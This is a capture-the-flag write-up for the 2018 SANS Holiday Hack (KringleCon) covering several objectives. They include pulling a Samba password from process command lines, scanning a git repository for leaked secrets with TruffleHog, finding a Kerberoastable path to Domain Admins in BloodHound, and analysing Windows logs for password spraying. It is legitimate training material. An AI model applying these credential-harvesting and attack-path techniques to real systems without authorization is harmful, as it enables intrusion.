# This viminfo file was generated by Vim 8.0.
# You may edit it if you're careful!
    
# Viminfo version
|1,4
    
# Value of 'encoding' when this file was written
*encoding=utf-8
    
    
# hlsearch on (H) or off (h):
~h
# Last Substitute Search Pattern:
~MSle0~&Elinore
    
# Last Substitute String:
$NEVERMORE
    
# Command Line History (newest to oldest):
:wq
|2,0,1536607231,,"wq"
:%s/Elinore/NEVERMORE/g
|2,0,1536607217,,"%s/Elinore/NEVERMORE/g"
:r .secrets/her/poem.txt
|2,0,1536607201,,"r .secrets/her/poem.txt"

We can see there that all Elinore strings has been replaced by NEVERMORE. The first name of the elf of whom a love poem was written is probably Elinore.

We can now speek again with Tangle Coalbox which has a lot to say :

Tangle gaves us two more hints :

• a link about Opening a Ford with a Robot and the de Bruijn Sequence ;
• and another one that can help us generate de Bruijn Sequence : de Bruijn sequence generator

« Speaker Unpreparedness Room » door passcode

The door passcode has 4 keys :

We use the de Bruijn sequence generator and generate a sequence for 4 k and 4 n :

Then we follow the sequence, with 0 = triangle, 1 = square, 2 = circle and 3 = star keys. And after a while :

This unlocked two new narratives :

And we can enter the "Speaker Unpreparedness Room" like the door is now opened :

In the speaker unperparedness room we meet Morcel Nougat :

which have an unique phrase to tell : "Welcome unprepared speaker!".

But it's enough, like it's our flag :

This closed the third quest :

Now our roadmap looks like this :

Objective	Difficulty	Terminal & links	Character
1) Orientation Challenge		KringleCon Holiday Hack History kiosk Essential Editor Skills	Bushy Evergreen
2) Directory Browsing		CFP site The Name Game terminal	Minty Candycane
3) de Bruijn Sequences		Lethal ForensicELFication terminal	Tangle Coalbox
4) Data Repo Analysis		North Pole Git repository Stall Mucking Report terminal	Wunorse Openslae
5) AD Privilege Discovery		SANS Slingshot Linux Image CURLing Master terminal	Holly Evergreen
6) Badge Manipulation		sample employee badge Yule Log Analysis terminal	Pepper Minstix
7) HR Incident Response		ELF Resources website Dev Ops Fail terminal	Sparkle Redberry
8) Network Traffic Forensics		web-based packet capture and analysis tool Python Escape from LA terminal	SugarPlum Mary
9) Ransomware Recovery		Sleigh Bell Lottery terminal	Shinny Upatree
9.1) Catch the Malware
9.2) Identify the Domain
9.3) Stop the Malware
9.4) Recover Alabaster's Password
10) Who Is Behind It All?

---

Objective 4 : Data Repo Analysis

As usual, we look for the next character to meet, which is Wunorse Openslae :

Ok, so may be we can found the lost password somewhere in memory, and we have to look for automated tasks.

Terminal « Stall Mucking Report » (first floor, second at right hand)

Here is the full text :

Thank you Madam or Sir for the help that you bring!
I was wondering how I might rescue my day.
Finished mucking out stalls of those pulling the sleigh,
My report is now due or my KRINGLE's in a sling!

There's a samba share here on this terminal screen.
What I normally do is to upload the file,
With our network credentials (we've shared for a while).
When I try to remember, my memory's clean!

Be it last night's nog bender or just lack of rest,
For the life of me I can't send in my report.
Could there be buried hints or some way to contort,
Gaining access - oh please now do give it your best!

-Wunorse Openslae


Complete this challenge by uploading the elf's report.txt
file to the samba share at //localhost/report-upload/
elf@f0e15cd72447:~$ 

...and the report.txt content :

elf@f0e15cd72447:~$ ls -a
.  ..  .bash_logout  .bashrc  .profile  report.txt
elf@f0e15cd72447:~$ cat report.txt
Stall mucking report
Dasher - routine
Dancer - routine
Prancer - confiscated second salt lick
Vixen - minor repair/adjustment to water system
Comet - routine
Cupid - routine
Donner - routine
Blitzen - refilled headache medicine
Thrasher - routine
Thunder - requested hay! oats! hay! oats!
Blaster - stall... took extra mucking
Blunder - caught with excessive carrot contraband again
Blogger - discussed social media policies again
Bragger - what appeared to be a prosthetic red nose
Sat Jan  5 13:56:17 UTC 2019
elf@f0e15cd72447:~$ 

...very interesting...

Let's try to help uploading the report.

We can try to mount the samba share : sudo mount -t cifs //loclahost/report_upload samba, but we need the elf's account password.

Or we can try to use the smbclient command : smbclient //localhost/report_upload -c 'put report.txt', but we also need the elf's account password.

There is a conference at KringleConf that can probably help us : Sneaking Secrets from SMB Shares.

Listing the Samba shares on localhost give this :

elf@86633cdddbc0:~$ smbclient -L //localhost -N
WARNING: The "syslog" option is deprecated
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.12-Debian]

        Sharename       Type      Comment
        ---------       ----      -------
        homes           Disk      Home Directories
        print$          Disk      Printer Drivers
        IPC$            IPC       IPC Service (86633cdddbc0 server (Samba, Ubuntu))
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.12-Debian]

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------

The report-upload is not showed here because homes indicates that each user repository is shared with it's name. And there is a report-upload user :

elf@c377cebd8f77:~$ ls /home
elf  manager  report-upload
elf@c377cebd8f77:~$ 

There is a credential cache in Samba which can be used with a -C switch. We can try to use it :

elf@41e7907be257:~$ smbclient //localhost/report-upload 'dir' -C
WARNING: The "syslog" option is deprecated
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.12-Debian]
tree connect failed: NT_STATUS_ACCESS_DENIED

May be with user report-upload ?

elf@c377cebd8f77:~$ smbclient //localhost/report-upload -C -U report-upload
WARNING: The "syslog" option is deprecated
SPNEGO(ntlmssp) login failed: NT_STATUS_WRONG_CREDENTIAL_HANDLE
session setup failed: NT_STATUS_WRONG_CREDENTIAL_HANDLE

Another fail...

...thinking...

What did Wunorse said ?

And we have a hint about keeping Command Line Passwords Out of PS !!!

May be there is a process with the report-upload share password in the command line ?

Trying ps -aux to see all the processes :

elf@658e455b9403:~$ ps -aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  1.0  0.0  17952  2972 pts/0    Ss   23:28   0:00 /bin/bash /sbin/init
root        10  0.0  0.0  45320  3172 pts/0    S    23:28   0:00 sudo -u manager /home/man
root        11  0.0  0.0  45320  3192 pts/0    S    23:28   0:00 sudo -E -u manager /usr/b
root        15  0.0  0.0  45320  3176 pts/0    S    23:28   0:00 sudo -u elf /bin/bash
manager     16  0.2  0.0  33848  8060 pts/0    S    23:28   0:00 /usr/bin/python /home/man
manager     17  0.0  0.0   9500  2508 pts/0    S    23:28   0:00 /bin/bash /home/manager/s
manager     18  0.0  0.0   4196   704 pts/0    S    23:28   0:00 sleep 60
elf         19  0.0  0.0  18208  3188 pts/0    S    23:28   0:00 /bin/bash
root        23  0.3  0.0 316664 15492 ?        Ss   23:28   0:00 /usr/sbin/smbd
root        24  0.0  0.0 308372  5860 ?        S    23:28   0:00 /usr/sbin/smbd
root        25  0.0  0.0 308364  4464 ?        S    23:28   0:00 /usr/sbin/smbd
root        27  0.0  0.0 316664  5944 ?        S    23:28   0:00 /usr/sbin/smbd
elf         29  0.0  0.0  36636  2888 pts/0    R+   23:28   0:00 ps -aux
elf@658e455b9403:~$ 

Command lines are truncated. Trying ps -aux | more :

elf@e3ccb0b9aed4:~$ ps -aux |more
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.1  0.0  17952  2792 pts/0    Ss   22:52   0:00 /bin/bash /sbin/init
root        11  0.0  0.0  45320  3084 pts/0    S    22:52   0:00 sudo -u manager /home/man
ager/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argumen
t --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppr
ess --suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload
root        12  0.0  0.0  45320  3092 pts/0    S    22:52   0:00 sudo -E -u manager /usr/b
in/python /home/manager/report-check.py
root        16  0.0  0.0  45320  3068 pts/0    S    22:52   0:00 sudo -u elf /bin/bash
manager     17  0.0  0.0  33848  8072 pts/0    S    22:52   0:00 /usr/bin/python /home/man
ager/report-check.py
manager     18  0.0  0.0   9500  2608 pts/0    S    22:52   0:00 /bin/bash /home/manager/s
amba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do
-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --
suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload
manager     19  0.0  0.0   4196   712 pts/0    S    22:52   0:00 sleep 60
elf         20  0.0  0.0  18204  3204 pts/0    S    22:52   0:00 /bin/bash
root        24  0.0  0.0 316664 15416 ?        Ss   22:52   0:00 /usr/sbin/smbd
root        25  0.0  0.0 308372  5816 ?        S    22:52   0:00 /usr/sbin/smbd
root        26  0.0  0.0 308364  4472 ?        S    22:52   0:00 /usr/sbin/smbd
root        28  0.0  0.0 316664  5916 ?        S    22:52   0:00 /usr/sbin/smbd
elf         33  0.0  0.0  36636  2860 pts/0    R+   22:53   0:00 ps -aux
elf         34  0.0  0.0   6420   920 pts/0    S+   22:53   0:00 more
elf@658e455b9403:~$ 

Bingo !!!

The report-upload share password is directreindeerflatterystable.

With a smbclient //localhost/report-upload directreindeerflatterystable -U report-upload command, we can now access to the Samba share and with a put report.txt command we can upload the report :

ALWAYS read the f*****g manual and pay attention to hints !

Going back to Wunorse :

Wunorse gaves us three good hints about Trufflehog which will be usefull for searching in the git repository for the encrypted ZIP file password.

North Pole Git repository

The North Pole Git Repository hosts the santas_castle_automation project :

According to these paragraphs, it seems that Shinny had effectively uploaded some secrets in it :

Ok, but we have first to look for the encrypted zip file.

We create a 4_-_Data_Repo_Analysis directory to put our files. With a git subdirectory :

mkdir 4_-_Data_Repo_Analysis
cd 4_-_Data_Repo_Analysis
mkdir git
cd git

Then we clone the Santas Castle Automation Git repository with a git clone https://git.kringlecastle.com/Upatree/santas_castle_automation.git command.

And look for zip files in it with a find . -iname *.zip :

root@kali:~/sans2018/4_-_Data_Repo_Analysis/git# find -iname *.zip
./santas_castle_automation/schematics/ventilation_diagram.zip

There is a single zip file : ventilation_diagram.zip.

Now we are going to install Trufflehog in order to search the git arcanes !

git clone https://github.com/dxa4481/truffleHog.git
cd truffleHog
python3 setup.py install
cd ..

And then, we launch Trufflehog on the santas castle automation repo :

cd truffleHog/truffleHog
python3 truffleHog.py --entropy=true file:///root/sans2018/4_-_Data_Repo_Analysis/git/santas_castle_automation

This gives some interesting stuff:

The new password "used to lock down our sensitive files" seems to be a good candidate...

...and it works. The zip file contains two diagrams :

They look like two floors of a labyrinth. We will come back to this later...

Meanwhile, the password Yippee-ki-yay closed the fourth quest :

Note : a git log -p command in the santas_castle_automation directory would also had printed the secrets found with TruffleHog, but with lot more irrelevant datas.

This unlocks two new narratives :

So, we rush to hear the Hans speech :

It seems that we are trapped in the Santa's castle ! brrrrrr...

Note : in the Git repository, there are some intersting files like the Santas KringleCon Elves ;-) :

And there is also a beautiful sketch of Hans :

Here is our updated roadmap :

Objective	Difficulty	Terminal & links	Character
1) Orientation Challenge		KringleCon Holiday Hack History kiosk Essential Editor Skills	Bushy Evergreen
2) Directory Browsing		CFP site The Name Game terminal	Minty Candycane
3) de Bruijn Sequences		Lethal ForensicELFication terminal	Tangle Coalbox
4) Data Repo Analysis		North Pole Git repository Stall Mucking Report terminal	Wunorse Openslae
5) AD Privilege Discovery		SANS Slingshot Linux Image CURLing Master terminal	Holly Evergreen
6) Badge Manipulation		sample employee badge Yule Log Analysis terminal	Pepper Minstix
7) HR Incident Response		ELF Resources website Dev Ops Fail terminal	Sparkle Redberry
8) Network Traffic Forensics		web-based packet capture and analysis tool Python Escape from LA terminal	SugarPlum Mary
9) Ransomware Recovery		Sleigh Bell Lottery terminal	Shinny Upatree
9.1) Catch the Malware
9.2) Identify the Domain
9.3) Stop the Malware
9.4) Recover Alabaster's Password
10) Who Is Behind It All?

---

Objective 5 : AD Privilege Discovery

Following our roadmap, we look for Holly Evergreen :

Holly gaves us a precious link about HTTP/2.0 Basics. Let's look at this new terminal.

Terminal "CURLing Master" (first floor, second at the left hand)

                 .....................................                        
                ...',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'....                      
                ...,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'...                     
                 ......'''''''''''''''''''''''',,,,,,,'...                    
                    ............................',,,,,,,...                   
                                               ...,,,,,,'...                  
                                                ..',,,,,,'..                  
                                                ...,,,,,,,...                 
                                                ...,,,,,,,...                 
           ........................................,,,,,,,'......             
        .....''''''''''''''''''''''''''''''''''''',,,,,,,,,,'''.....          
        ...............................................................        
        ...............................................................        
      .:llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc.       
     .llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll;      
    'llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll:     
   .kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk:    
   o0000000000000000000000000000000000000000000000000000000000000000000000O    
   O00000000000000000000000000000000000000000000000000000000000000000000000'   
   O00000000000000000000000000000000000000000000000000000000000000000000000'   
   d0000000000000000000000000000000000000000000000000000000000000000000000O.   
   'OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOc    
    ,llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll:     
     ,llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll:      
      .clllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll'       
        'clllllllllllllllllllllllllllllllllllllllllllllllllllllllllll,         
          .,clllllllllllllllllllllllllllllllllllllllllllllllllllll;.           
              .';:cllllllllllllllllllllllllllllllllllllllllcc;,..              
                                                                               
I am Holly Evergreen, and now you won't believe:
Once again the striper stopped; I think I might just leave!
Bushy set it up to start upon a website call.
Darned if I can CURL it on - my Linux skills apall.

Could you be our CURLing master - fixing up this mess?
If you are, there's one concern you surely must address.
Something's off about the conf that Bushy put in place.
Can you overcome this snag and save us all some face?

  Complete this challenge by submitting the right HTTP 
  request to the server at http://localhost:8080/ to 
  get the candy striper started again. You may view 
  the contents of the nginx.conf file in 
  /etc/nginx/, if helpful.
elf@66c007cbef3c:~$ 

curl http://localhost:8080/ seems to return binary datas :

elf@66c007cbef3c:~$ curl http://localhost:8080/                                         
   �
���elf@66c007cbef3c:~$

We can save the response with curl http://localhost:8080/ > res.bin for exemple.

There is no hexdump command on the terminal to print the file content in hexadecimal, but there is an od one. We can dump the response with od --format=x1 res.bin command :

elf@66c007cbef3c:~$ od --format=x1 res.bin
0000000 00 00 12 04 00 00 00 00 00 00 03 00 00 00 80 00
0000020 04 00 01 00 00 00 05 00 ff ff ff 00 00 04 08 00
0000040 00 00 00 00 7f ff 00 00 00 00 08 07 00 00 00 00
0000060 00 00 00 00 00 00 00 00 01
0000071
elf@66c007cbef3c:~$

Nothing pops to our eyes !

Ok, it's time to look at the application sources. Poking around, we find an interesting information in the nginx configuration file :

elf@66c007cbef3c:~$ more /etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
    
events {
        worker_connections 768;
        # multi_accept on;
}

http {

        sendfile on;
        tcp_nopush on;
        tcp_nodelay on;
        keepalive_timeout 65;
        types_hash_max_size 2048;
        # server_tokens off;
    
        # server_names_hash_bucket_size 64;
        # server_name_in_redirect off;

        include /etc/nginx/mime.types;
        default_type application/octet-stream;

        server {
        # love using the new stuff! -Bushy
                listen                  8080 http2;
                # server_name           localhost 127.0.0.1;
                root /var/www/html;
                    
                location ~ [^/]\.php(/|$) {
                    fastcgi_split_path_info ^(.+?\.php)(/.*)$;
                    if (!-f $document_root$fastcgi_script_name) {
                        return 404;
                    }

                    # Mitigate https://httpoxy.org/ vulnerabilities
                    fastcgi_param HTTP_PROXY "";

                    # fastcgi_pass 127.0.0.1:9000;
                    fastcgi_pass unix:/var/run/php/php-fpm.sock;
                    fastcgi_index index.php;

                    # include the fastcgi_param setting
                    include fastcgi_params;

                    # SCRIPT_FILENAME parameter is used for PHP FPM determining
                    #  the script name. If it is not set in fastcgi_params file,
                    # i.e. /etc/nginx/fastcgi_params or in the parent contexts,
                    # please comment off following line:
                    # fastcgi_param  SCRIPT_FILENAME   $document_root$fastcgi_script_name;
                }

                }
        
        ##
        # Logging Settings
        ##
        
        access_log /var/log/nginx/access.log;
        error_log /var/log/nginx/error.log;
        
        ##
        # Gzip Settings
        ##
        
        gzip on;
        gzip_disable "msie6";
        
        # gzip_vary on;
        # gzip_proxied any;
        # gzip_comp_level 6;
        # gzip_buffers 16 8k;
        # gzip_http_version 1.1;
        # gzip_types text/plain text/css application/json application/javascript text/xml applicat
ion/xml application/xml+rss text/javascript;
 
        ##
        # Virtual Host Configs
        ##
        
        include /etc/nginx/conf.d/*.conf;
        include /etc/nginx/sites-enabled/*;
}

The protocol used by the the server is http2 !

So, we try to use the http2 protocol with curl : curl http://localhost:8080 --http2 but it gives the same result.

A little help would be appreciated : curl --help shows an --http2-prior-knowledge Use HTTP 2 without HTTP/1.1 Upgrade (H) option

Now, trying curl http://localhost:8080 --http2-prior-knowledge :

elf@66c007cbef3c:~$ curl http://localhost:8080 --http2-prior-knowledge
    <html>
     <head>
      <title>Candy Striper Turner-On'er</title>
     </head>
     <body>
     <p>To turn the machine on, simply POST to this URL with parameter "status=on"
     
     </body>
    </html>
    elf@66c007cbef3c:~$ 

Ok, we have to send status=on in a POST request. What about curl http://localhost:8080 --http2-prior-knowledge --data status=on ?

We can go back and speak with Holly :

...viewing the Bloodhound Demo...

Then, download the SANS Slingshot Linux Image.

SANS Slingshot Linux Image

And look for a reliable path from a Kerberoastable user to the Domain Admins group in order to get the user’s logon name?

Here is the entire tree :

There are prededined queries in Bloodhound. We can list them by opening the menu and clicking on the Queries button. Then there is a Shortest Paths to Domain Admins for Kerberoastable Users entry :

This query shows four users and two main paths. One of the paths is an RDP one, so the more interesting path is the one for the user LDUBEJ00320@AD.KRINGLECASTLE.COM :

The LDUBEJ00320@AD.KRINGLECASTLE.COM user is effectively the one :

This reveals two new narratives :

Hoho, maybe we can find the Alabaster's badge ?

Our roadmap is now half completed :

Objective	Difficulty	Terminal & links	Character
1) Orientation Challenge		KringleCon Holiday Hack History kiosk Essential Editor Skills	Bushy Evergreen
2) Directory Browsing		CFP site The Name Game terminal	Minty Candycane
3) de Bruijn Sequences		Lethal ForensicELFication terminal	Tangle Coalbox
4) Data Repo Analysis		North Pole Git repository Stall Mucking Report terminal	Wunorse Openslae
5) AD Privilege Discovery		SANS Slingshot Linux Image CURLing Master terminal	Holly Evergreen
6) Badge Manipulation		sample employee badge Yule Log Analysis terminal	Pepper Minstix
7) HR Incident Response		ELF Resources website Dev Ops Fail terminal	Sparkle Redberry
8) Network Traffic Forensics		web-based packet capture and analysis tool Python Escape from LA terminal	SugarPlum Mary
9) Ransomware Recovery		Sleigh Bell Lottery terminal	Shinny Upatree
9.1) Catch the Malware
9.2) Identify the Domain
9.3) Stop the Malware
9.4) Recover Alabaster's Password
10) Who Is Behind It All?

---

Objective 6 : Badge Manipulation

Following our roadmap, we look for Pepper Minstix :

We probably will have to deal with some Windows event log files ! Let's look at the Yule Log Analysis terminal...

"Yule Log Analysis" terminal (first floor, third on right hand)

There is an event log file and a Python script in our home :

elf@e90062b82824:~$ ls
evtx_dump.py  ho-ho-no.evtx  runtoanswer

According to Pepper the Python script can produce an XML file from the evtx one. So, we produce an evtx.xml file with python evtx_dump.py ho-ho-no.evtx > evtx.xml command :

Then we can look at the events with a simple cat or more command. But there is a large number of events there. We will have to filter these datas. It's useful to know the structure of an event :

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <Provider Nam
e="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Pr
ovider>
    <EventID Qualifiers="">4624</EventID>
    <Version>2</Version>
    <Level>0</Level>
    <Task>12544</Task>
    <Opcode>0</Opcode>
    <Keywords>0x8020000000000000</Keywords>
    <TimeCreated SystemTime="2018-09-10 12:19:20.695601"></TimeCreated>
    <EventRecordID>231726</EventRecordID>
    <Correlation ActivityID="" RelatedActivityID=""></Correlation>
    <Execution ProcessID="664" ThreadID="668"></Execution>
    <Channel>Security</Channel>
    <Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer>
    <Security UserID=""></Security>
  </System>
  <EventData><Data Name="SubjectUserSid">S-1-0-0</Data>
    <Data Name="SubjectUserName">-</Data>
    <Data Name="SubjectDomainName">-</Data>
    <Data Name="SubjectLogonId">0x0000000000000000</Data>
    <Data Name="TargetUserSid">S-1-5-18</Data>
    <Data Name="TargetUserName">SYSTEM</Data>
    <Data Name="TargetDomainName">NT AUTHORITY</Data>
    <Data Name="TargetLogonId">0x00000000000003e7</Data>
    <Data Name="LogonType">0</Data>
    <Data Name="LogonProcessName">-</Data>
    <Data Name="AuthenticationPackageName">-</Data>
    <Data Name="WorkstationName">-</Data>
    <Data Name="LogonGuid">{00000000-0000-0000-0000-000000000000}</Data>
    <Data Name="TransmittedServices">-</Data>
    <Data Name="LmPackageName">-</Data>
    <Data Name="KeyLength">0</Data>
    <Data Name="ProcessId">0x0000000000000004</Data>
    <Data Name="ProcessName"></Data>
    <Data Name="IpAddress">-</Data>
    <Data Name="IpPort">-</Data>
    <Data Name="ImpersonationLevel">-</Data>
    <Data Name="RestrictedAdminMode">-</Data>
    <Data Name="TargetOutboundUserName">-</Data>
    <Data Name="TargetOutboundDomainName">-</Data>
    <Data Name="VirtualAccount">%%1843</Data>
    <Data Name="TargetLinkedLogonId">0x0000000000000000</Data>
    <Data Name="ElevatedToken">%%1842</Data>
  </EventData>
</Event>

There are two main parts in an event : some metadatas about the event (the System part) and some details datas (the EventData part) relative to the event type which is given by the EventID.

We can count the number of events with a grep EventID evtx.xml | wc -l command or simply a grep EventID evtx.xml -c one :

elf@71afc04d8e5c:~$ grep EventID evtx.xml -c
1288
elf@71afc04d8e5c:~$ 

And list the different events ID with a grep EventID evtx.xml | sort |uniq command :

<EventID Qualifiers="">4608</EventID>
<EventID Qualifiers="">4624</EventID>
<EventID Qualifiers="">4625</EventID>
<EventID Qualifiers="">4647</EventID>
<EventID Qualifiers="">4688</EventID>
<EventID Qualifiers="">4724</EventID>
<EventID Qualifiers="">4738</EventID>
<EventID Qualifiers="">4768</EventID>
<EventID Qualifiers="">4769</EventID>
<EventID Qualifiers="">4776</EventID>
<EventID Qualifiers="">4799</EventID>
<EventID Qualifiers="">4826</EventID>
<EventID Qualifiers="">4902</EventID>
<EventID Qualifiers="">4904</EventID>
<EventID Qualifiers="">5024</EventID>
<EventID Qualifiers="">5033</EventID>
<EventID Qualifiers="">5059</EventID>

Knowing the number of occurence of each EventID will be interesting. We can do this with a grep EventID evtx.xml | sort |uniq -c | sort -r command :

elf@b73775ed8e38:~$ grep EventID evtx.xml | sort |uniq -c | sort -r
    756 <EventID Qualifiers="">4624</EventID>
    212 <EventID Qualifiers="">4625</EventID>
    109 <EventID Qualifiers="">4769</EventID>
    108 <EventID Qualifiers="">4776</EventID>
     45 <EventID Qualifiers="">4768</EventID>
     34 <EventID Qualifiers="">4799</EventID>
     10 <EventID Qualifiers="">4688</EventID>
      2 <EventID Qualifiers="">5059</EventID>
      2 <EventID Qualifiers="">4904</EventID>
      2 <EventID Qualifiers="">4738</EventID>
      2 <EventID Qualifiers="">4724</EventID>
      1 <EventID Qualifiers="">5033</EventID>
      1 <EventID Qualifiers="">5024</EventID>
      1 <EventID Qualifiers="">4902</EventID>
      1 <EventID Qualifiers="">4826</EventID>
      1 <EventID Qualifiers="">4647</EventID>
      1 <EventID Qualifiers="">4608</EventID>
elf@b73775ed8e38:~$ 

We can notice that the event 4624 is the most frequent one by far and the 4625 one the second. In the Logon category of security events listed by Microsoft there are two main events : event 4624 indicates that » An account was successfully logged on « and event 4625 indicates that » An account failed to log on «.

Seems that there are a number of failed login attempts there !

We can now try to identify the account for each 4625 event. Exploiting the TargetUserName event element we can do it. The grep 4625 evtx.xml -B 2 -A 36 | grep -o 'TargetUserName\">.*</Data>'| sed 's/TargetUserName">//g' | sed 's/<\/Data>//g' | sort | uniq -c command gives an intersting list :

elf@0a6d026b3037:~$ grep 4625 evtx.xml -B 2 -A 36 | grep -o 'TargetUserName\">.*</Data>'| 
sed 's/TargetUserName">//g' | sed 's/<\/Data>//g' | sort | uniq -c
      1 aaron.smith
      1 abhishek.kumar
      1 adam.smith
      1 ahmed.ali
      1 ahmed.hassan
      1 ahmed.mohamed
      1 ajay.kumar
      1 alex.smith
      1 ali.khan
      1 ali.raza
      1 amanda.smith
      1 amit.kumar
      1 amit.sharma
      1 amit.singh
      1 amy.smith
[...]      
      1 shinny.upatree
      2 sparkle.redberry
      1 stephanie.smith
      1 steve.johnson
      1 steve.smith
      1 steven.smith
      1 sugerplum.mary
      1 sunil.kumar
      1 suresh.kumar
      1 test.user
      1 tim.smith
      1 tom.smith
      1 tyler.smith
      1 vijay.kumar
      1 vinod.kumar
      1 wunorse.openslae
elf@0a6d026b3037:~$ 

It seems that there is never more than one failed login attempt for each account. Password spraying attack ? There is an IpAddress element in the Event structure indicating the IP address from where the logon is requested. It will be interesting to look where those failed login attemps come from.

With this grep 4625 evtx.xml -B 2 -A 36 | grep -o 'IpAddress\">.*</Data>'| sed 's/IpAddress">//g' | sed 's/<\/Data>//g' | sort | uniq -c command we can achieve this :

elf@0a6d026b3037:~$ grep 4625 evtx.xml -B 2 -A 36 | grep -o 'IpAddress\">.*</Data>'| sed '
s/IpAddress">//g' | sed 's/<\/Data>//g' | sort | uniq -c
      1 10.158.210.210
    211 172.31.254.101
elf@0a6d026b3037:~$ 

Woooow !!! There are only two IP addresses, and almost all failed logins came from 172.31.254.101 one !

We can look at the same information but for successful logins :

elf@0a6d026b3037:~$ grep 4624 evtx.xml -B 2 -A 36 | grep -o 'IpAddress\">.*</Data>'| sed '
s/IpAddress">//g' | sed 's/<\/Data>//g' | sort | uniq -c
    255 -
      1 10.158.210.210
      1 10.231.108.200
    138 127.0.0.1
     19 169.254.202.186
      1 172.18.101.231
      2 172.31.254.101
      1 192.168.190.50
      1 2001:0:5ef5:79fb:1c84:3455:3f57:aa6a
    141 ::1
      5 fe80::107e:3fd:3f57:aa6a
      1 fe80::1c84:3455:3f57:aa6a
     35 fe80::3085:5155:bb47:8b3e
      9 fe80::34a2:32ea:3f57:aa6a
      2 fe80::34cb:3c75:3f57:aa6a
     19 fe80::5efe:169.254.202.186
     18 fe80::5efe:192.168.85.149
    107 fe80::b0d8:bf3b:51aa:caba
elf@0a6d026b3037:~$ 

There are only two successful login attempts from the 172.31.254.101 IP address !

Now we can look at the logins for these two events grep 4624 evtx.xml -B 2 -A 45 | grep "172.31.254.101" -B 33 -A 10 :

elf@b73775ed8e38:~$ grep 4624 evtx.xml -B 2 -A 45 | grep "172.31.254.101" -B 33 -A 10
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Nam
e="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Pr
ovider>
<EventID Qualifiers="">4624</EventID>
<Version>2</Version>
<Level>0</Level>
<Task>12544</Task>
<Opcode>0</Opcode>
<Keywords>0x8020000000000000</Keywords>
<TimeCreated SystemTime="2018-09-10 13:05:03.702278"></TimeCreated>
<EventRecordID>240171</EventRecordID>
<Correlation ActivityID="{71a9b66f-4900-0001-a8b6-a9710049d401}" RelatedActivityID=""></Co
rrelation>
<Execution ProcessID="664" ThreadID="15576"></Execution>
<Channel>Security</Channel>
<Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer>
<Security UserID=""></Security>
</System>
<EventData><Data Name="SubjectUserSid">S-1-5-18</Data>
<Data Name="SubjectUserName">WIN-KCON-EXCH16$</Data>
<Data Name="SubjectDomainName">EM.KRINGLECON</Data>
<Data Name="SubjectLogonId">0x00000000000003e7</Data>
<Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-1156</Data>
<Data Name="TargetUserName">minty.candycane</Data>
<Data Name="TargetDomainName">EM.KRINGLECON</Data>
<Data Name="TargetLogonId">0x000000000114a4fe</Data>
<Data Name="LogonType">8</Data>
<Data Name="LogonProcessName">Advapi  </Data>
<Data Name="AuthenticationPackageName">Negotiate</Data>
<Data Name="WorkstationName">WIN-KCON-EXCH16</Data>
<Data Name="LogonGuid">{d1a830e3-d804-588d-aea1-48b8610c3cc1}</Data>
<Data Name="TransmittedServices">-</Data>
<Data Name="LmPackageName">-</Data>
<Data Name="KeyLength">0</Data>
<Data Name="ProcessId">0x00000000000019f0</Data>
<Data Name="ProcessName">C:\Windows\System32\inetsrv\w3wp.exe</Data>
<Data Name="IpAddress">172.31.254.101</Data>
<Data Name="IpPort">38283</Data>
<Data Name="ImpersonationLevel">%%1833</Data>
<Data Name="RestrictedAdminMode">-</Data>
<Data Name="TargetOutboundUserName">-</Data>
<Data Name="TargetOutboundDomainName">-</Data>
<Data Name="VirtualAccount">%%1843</Data>
<Data Name="TargetLinkedLogonId">0x0000000000000000</Data>
<Data Name="ElevatedToken">%%1842</Data>
</EventData>
</Event>
--
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Nam
e="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Pr
ovider>
<EventID Qualifiers="">4624</EventID>
<Version>2</Version>
<Level>0</Level>
<Task>12544</Task>
<Opcode>0</Opcode>
<Keywords>0x8020000000000000</Keywords>
<TimeCreated SystemTime="2018-09-10 13:07:02.556292"></TimeCreated>
<EventRecordID>240573</EventRecordID>
<Correlation ActivityID="{71a9b66f-4900-0001-a8b6-a9710049d401}" RelatedActivityID=""></Co
rrelation>
<Execution ProcessID="664" ThreadID="12152"></Execution>
<Channel>Security</Channel>
<Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer>
<Security UserID=""></Security>
</System>
<EventData><Data Name="SubjectUserSid">S-1-5-18</Data>
